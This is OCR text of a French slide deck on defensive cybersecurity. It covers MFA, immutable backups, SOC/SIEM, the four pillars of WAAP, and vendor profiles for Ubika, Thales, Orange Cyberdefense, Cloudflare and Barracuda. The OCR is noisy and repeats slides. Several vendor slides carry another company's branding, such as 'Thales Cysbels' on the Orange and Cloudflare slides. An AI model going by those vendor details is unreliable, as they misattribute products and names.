securiser les acces. Everping

» Sauvegardes isolées (immuables) : Indispensables contre les
ransomwares ; elles garantissent que, méme si le réseau est chiffre, une
copie saine reste disponible pour la restauration. Everping

IDEO-LAB



La compromission des identites est I'un des vecteurs d'attaque les plus

fréequents. Cybermalveillance.gouv

1. MFA (Authentification Multifacteur). C'est la mesure la plus
efficace pour empécher l'usurpation de compte, méme en
cas de vol de mot de passe.

Cybermalveillance.gouv

onnaires de mots de passe. Outils professionnels

Dour centraliser et sécuriser les acces.
Everping

3. Sauvegardes isolées (immuables). Indispensables contre les
ransomware ; elles garantissent que, méme si le réseau est

chiffre, une copie saine reste disponible pour la restauration.
Everping




La technique ne suffit jamais isolément. Une organisation mature complete ses
outils par : Everping

» Sensibilisation et formation : La messagerie électronique reste le point
d'entrée n°1. Former les collaborateurs au phishing est une défense autant
qu'un outil technigque. Everping

4. Approche + Supervision (SOC/SIEM) : Centraliser les journaux de logs de tous les outils

(EDR, WAF, VPN) pour avoir une vision globale et détecter des corrélations
d'attaques. SentinelOne

Organisationnelle

» Audit et Pentest : Utiliser des outils comme Nessus (vulnérabilités) ou
Metasploit (tests d'intrusion) pour identifier ses propres faiblesses avant les
attaquants. Everping

@
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La technique ne suffit jamais isolément. Une organisation mature complete ses
outils par: Everping

1. Sensibilisation et formation. La messagerie électronique reste le
point d'entrée n°1. Former les collaborateurs au phishing est une défense

autant qu'un outil technique.
Everping

@ 2. Supervision (SOC/SIEM). Centraliser les journaux de logs
. de tous les outils (EDR, WAF, VPN) pour avoir une vision globale et
deétecter des corrélations d'attaques.

% SentinelOne

ﬁ 3. Audit et Pentest. Utiliser des outils comme Nessus (vulnéerabilites)
ou Metasploit (tests d'intrusion) pour identifier ses propres faiblesses
avant les attaquants.

W ‘@: Everping

Test d'intrusion




+ Le WAF (Web Application Firewall) : C'est le socle historique du WAAP. ||
agit comme un filtre intelligent qui inspecte le trafic HTTP(S) entrant pour
bloguer les attaques classiques telles que les injections SQL, les failles XSS
(Cross-Site Scripting) et autres vulnérabilités documentées.

+ La protection des API : Dans un monde ou les applications communiquent
via des API, ce pilier est crucial. Il permet de sécuriser ces interfaces contre
les acces non autorisés, les abus de logique métier et les tentatives
d'exfiltration de données, en validant les requétes et en assurant la

5. Les quatre conformité des flux.

piliers du
WAAP » La gestion avancée des bots : Ce pilier utilise l'intelligence artificielle et

l'analyse comportementale pour distinguer le trafic humain légitime du
trafic automatisé malveillant. Il permet de stopper efficacement le
"scraping” de données, le bourrage d'identifiants (credential stuffing) et
autres activités automatiseées nuisibles.

+ La protection anti-DDoS5 : Pour garantir la continuité de service, ce pilier
assure la résilience de I'organisation face aux attaques par déni de service
distribué. Il detecte et absorbe les pics de trafic anormaux pour maintenir
l'accessibilité des applications et des APl face aux tentatives de saturation.




L'Architecture WAAP Intégrée : Piliers et Fonctionnalités

S e = b -
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wJrafic Humain

3. La gestion
avancée des

Pic de Trafic

*Basé sur les concepts de image_3b6dle.jpg.*

1. Le WAF (Web Application Firewall)
Le socle historique du WAARP. Filtre intelligent
inspectant le trafic HTTP(S) entrant pour bloquer

les attaques classiques (Injections SQL, failles XSS,
autres vulnérabilités documentées).

2. La protection des API
Crucial dans un monde d'applications connectées.
Sécurise les interfaces API contre les accés non

autorisés, les abus de logique, et I'exfiltration de
données.

3. La gestion avancée des bots
Utilise I'A et I'analyse comportementale pour
distinguer le trafic humain du trafic automatise illant.

Stoppe le scraping, credential stuffing et les
activités malveillantes.

4, La protection anti-DDoS

Garantit la continuité de service. Assure la
résilience face aux attaques par déni de service
distribué. Détecte et absorbe les pics de trafic

pour maintenir l'accessibilité. @
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Une journée dans la vie d'un WAAP

O

08:00

Threat Intel
Mise a jour des signatures et
des bases de
renseignement.

12:00

APl Inspection
Analyse comportementale et
validation des schemas.

O

O

18:00

Bot Management
Filtrage automatise des bots
malveillants.

22:00

DDoS Mitigation
Atténuation des pics de
trafic couche 7

O

O

24[7

Auto-scaling
Surveillance continue et
protection proactive.




L’Approche de Défense en Profondeur : Au-dela du WAAP

LA REALITE VS LE MYTHE : LA COMPLEMENTARITE : LE ROLE HUMAIN :
WAAP en Ecosystéme Collaboration et Couches Expertise et Supervision

. Realité : Composant Intégré

I Couche WAAP

(Protection App)

Filtrage WA

Sécurité APléﬁ

Protection contv
les Bots

Atténuation DDoS V

r |
U Couche Réseau (FW, IPS) Ang:g?teecsies |

v

Couche Endpoints (EDR)

2 ® (ouche Données (Chiffrement)

Mythe : Solution Autonome 4

Conclusion : Le WAAP est puissant, mais I'expertise humaine et les autres couches de sécurité sont indispensables.



VOTRE APPLICATION, RESULTAT :
VOTRE REPUTATION. UNE FORTERE.SE DIGITALE
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( l .FITRAGEWAF  2.PROTECTIONDESAPI 3.GESTIONDESBOTS  * phoieetloN
BLOQUE LES ATTAQUES SECURISE LES DISTINGUE LE TRAFIC ABSORBE ET DEVIE
' | CLASSIQUES (SQLi, XSS) COMMUNICATIONS LEGITIME DU TRAFIC LES PICS DE TRAFIC

MACHINE-A- MACHINE AUTOMATISE MALVEILLANT MASSIFS

WAAP : L'APPROCHE DE SECURITE COMPLETE, INTEGREE ET INTELLIGENTE POUR LE MONDE MODERNE



/. LES ACTEURS DE LA CYBER SECURITY
EN FRANCE

&

IDEO-LAB



Les acteurs

mis en avant
sont :

Ubika (en tant que référence, comme demandé).
Thales (représenté ici par une solution logicielle intégrée).
Orange Cyberdefense (acteur majeur du service et de l'intégration).

Cloudflare (bien qu'américain, il est un acteur incontournable et trés présent en
France).

Barracuda Networks (pour sa forte implantation locale et ses appliances).

@
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ACTEURS MAJEURS DU WAAP EN FRANCE : LE TOP 5 DE LEXCELLENCE

AT "/,
a1l

(— PERFORMANCE & COMPETENCE RECONNUES SUR LE TERRITOIRE FRANGAIS j A

L. £ — phtam

gl CYBERDEFENSE
THALES ;

- 93—

~ - r‘,‘; ~ -
LA REFERENCE ... SECURITE

LEADER ey : 5 & '
PRESENCE S|MP|.|CIT§ locale, et I? satlisfaction
cllent.
LOCALE ' SOUVERAINE X 2, MONDIALE : & EFFICACITE

SCORE DE
PERFORMANCE

_ < INTEGRATEUR

“Rasé sur l'expertise
technique, la présence

EXPERT DEPUIS PROTECTION SERVICE & INFRASTRUCTURE SOLUTIONS CLES
2001 - PIONNIER CRITIQUE ACCOMPAGNEMENT  IMMENSE & RAPIDE EN MAIN
FRANCAIS INTEGREE D'EXCELLENCE ROBUSTES

*Infographie illustrative non-exhaustive des acteurs du marché WAAP en France.




@? UBIKA

UBIKA: PIONNIER FRANGAIS DE LA SECURITE -
DES APPLICATIONS WEB

Fondée en 2001 et basée en France, Ubika protége les infrastructures critiques
des entreprises contre les cybermenaces les plus avancées. Notre expertise
inégalée garantit la disponibilité et Iintégrité de vos services web et API.

WAF WAAP SOUVERAINETE INNOVATION
EXPERTISE WAF & WAAP SOUVERAINETE LOCALE INNOVATION CONTINUE
DE POINTE ET CONFORMITE ET INTELLIGENCE
» Protection Compléte contre les » Solution 100% Développée et Opérée » Architecture Cloud-Native et Scalable
Injections SQL, XSS, etc. en France o Détection Basée sur I'|A et I'Analyse
» Securité des APIs et Microservices » Conformité RGPD, DSP2, Lois Bancaires Comportementale
» Gestion Avancée des Bots » Support Technique en Frangais » Mises a Jour Dynamiques des Menaces
» Atténuation DDoS Applicative » Données Maitrisées sur le Territoire » Tableau de Bord Unifié et Intuitif

@ Ubika 2024 | www.ubika.com




@ THALES -~
DIVISION CYBERSECURITE : VOTRE PARTENAIRE DE CONFIANCE NUME ,,,j",i =

=

ég CONSEIL & (B PROTECTION & REPONSE &
GOUVERNANCE &= DETECTION REMEDIATION

» Stratégie de Sécurité et Architecture » Gestion et Réponse aux Incidents (CERT)

s Analyse des Risques et Conformité o Sécurité des Systemes d'Information et OT Gestion et Réponse aux Incidents (CERT)
(RGPD, NIST, etc.) » SOC & Détection d'Intrusion (Cybels) * Investigation et Forensique

» Sensibilisation et Formation des Equipes  * Protection des Données et Identités » Tests d'Intrusion et Red Teaming

Thales

Cysbels

I

Thales, un leader mondial en cybersécurité, s'engage a protéger vos actifs les

plus sensibles et a renforcer votre résilience face aux menaces.
@J TCh)i"seI;els

THALES CYBERSECURITE | www.thalesgroup.com | Contact: cybersecurity@thales.com ae. E w)  ., =)



ORANGE
- cyberdefense

G,
ANTICIPER &
GOUVERNER

» Stratégie de Sécurité et GOUVERNANCE

ML DETECTER & REAGIR &
&2=] PROTEGER REMEDIER

» Analyse des Risques et CONFORMITE » Sécurité des Systémes d"Information et OT = Gestion et Réponse aux Incidents (CERT)
(RGPD, NIS2, etc.) » SOC & Détection d'Intrusion (MDR) » Investigation et Forensique
» Sensibilisation et Formation des Equipes = Protection des Données et Identités » Tests d'Intrusion et Red Teaming

Li g E Orange
Cysbels

Orange Cyberdefense, leader européen en cybersécurité, met a votre service
son expertise et son réseau mondial pour sécuriser votre activite.

Thales
U/‘ Cysbels

8

ORANGE CYBERDEFENSE CYBERSECURITE | www.orangecyberdefense.com | Contact: contact.fr@orangecyberdefense.com



ey

CLOUDFLARE’

[— Sécuriser et accélérer votre présence numérique sur le plus grand réseau edge mond|al
svdh>e ’ ’
(S CONNECTER & SECURISER & PROTEGER & INSPECTER OBSERVER & REAGIR
ALY o —— i :
Q2L (Réseau & Edge) &-| (Applications) (Insights & SOC)
» Protection DDoS L3-L7 Globale « WAF (Web Application Firewall) Avancé » Analyses et Logs de Sécurité en Temps Réel
» DNS & Gestion de Trafic Intelligents » Protection des API (GraphQL, REST) » Intégration SIEM et SOAR
» (DN & Optimisation de Contenu « Gestion des Bots (Machine Learning) » Automatisation des Réponses aux Incidents
» Accés Réseau Zero Trust (ZTNA) » Inspection du Trafic SSL/TLS » Conformité et Visibilité Globale

CLOUDFLARE

Cloudflare, leader de la sécurité edge, offre une plateforme unifiée pour protéger vos
applications, vos utilisateurs et votre infrastructure contre toutes les menaces.

Thales
(7 Cysbels

CLOUDFLARE CYBERSECURITE | www.cloudflare.com | Contact: sales.fr@cloudFlare.com

e




l( Barracuda

NETWORKS

€

@

SECURITE DU RESEAU ET @ SECURITE DES APPLICATIONS SECURITE DES UTILISATEURS

DES EMAILS ET DES DONNEES ET DES ACCES
» Pare-feu de Nouvelle Génération (NGFW) . WAF (Web Application Firewall) » Authentification Multi-Facteur (MFA)
. E;?;ﬁc(t;\%)l\vancée contre les Menaces par . protection des API « Accés Réseau Zero Trust (ZTNA)
» Sécurité du Cloud Public (AWS, Azure) » Sauvegarde et Restauration dansle Cloud ~ « Filtrage Web et DNS
» Gestion Unifiée des Menaces (UTM) » Gestion des Vulnérabilités » Formation a la Sensibilisation au Phishing

CLOUDFLARE

Barracuda Networks, leader en sécurité, offre une approche intégrée pour protéger
chaque vecteur d'attaque, de I'email au réseau en passant par les applications.

Thales
‘2. Cysbels

BARRACUDA NETWORKS CYBERSECURITE | www.barracuda.com | Contact: sales.fr@barracuda.com




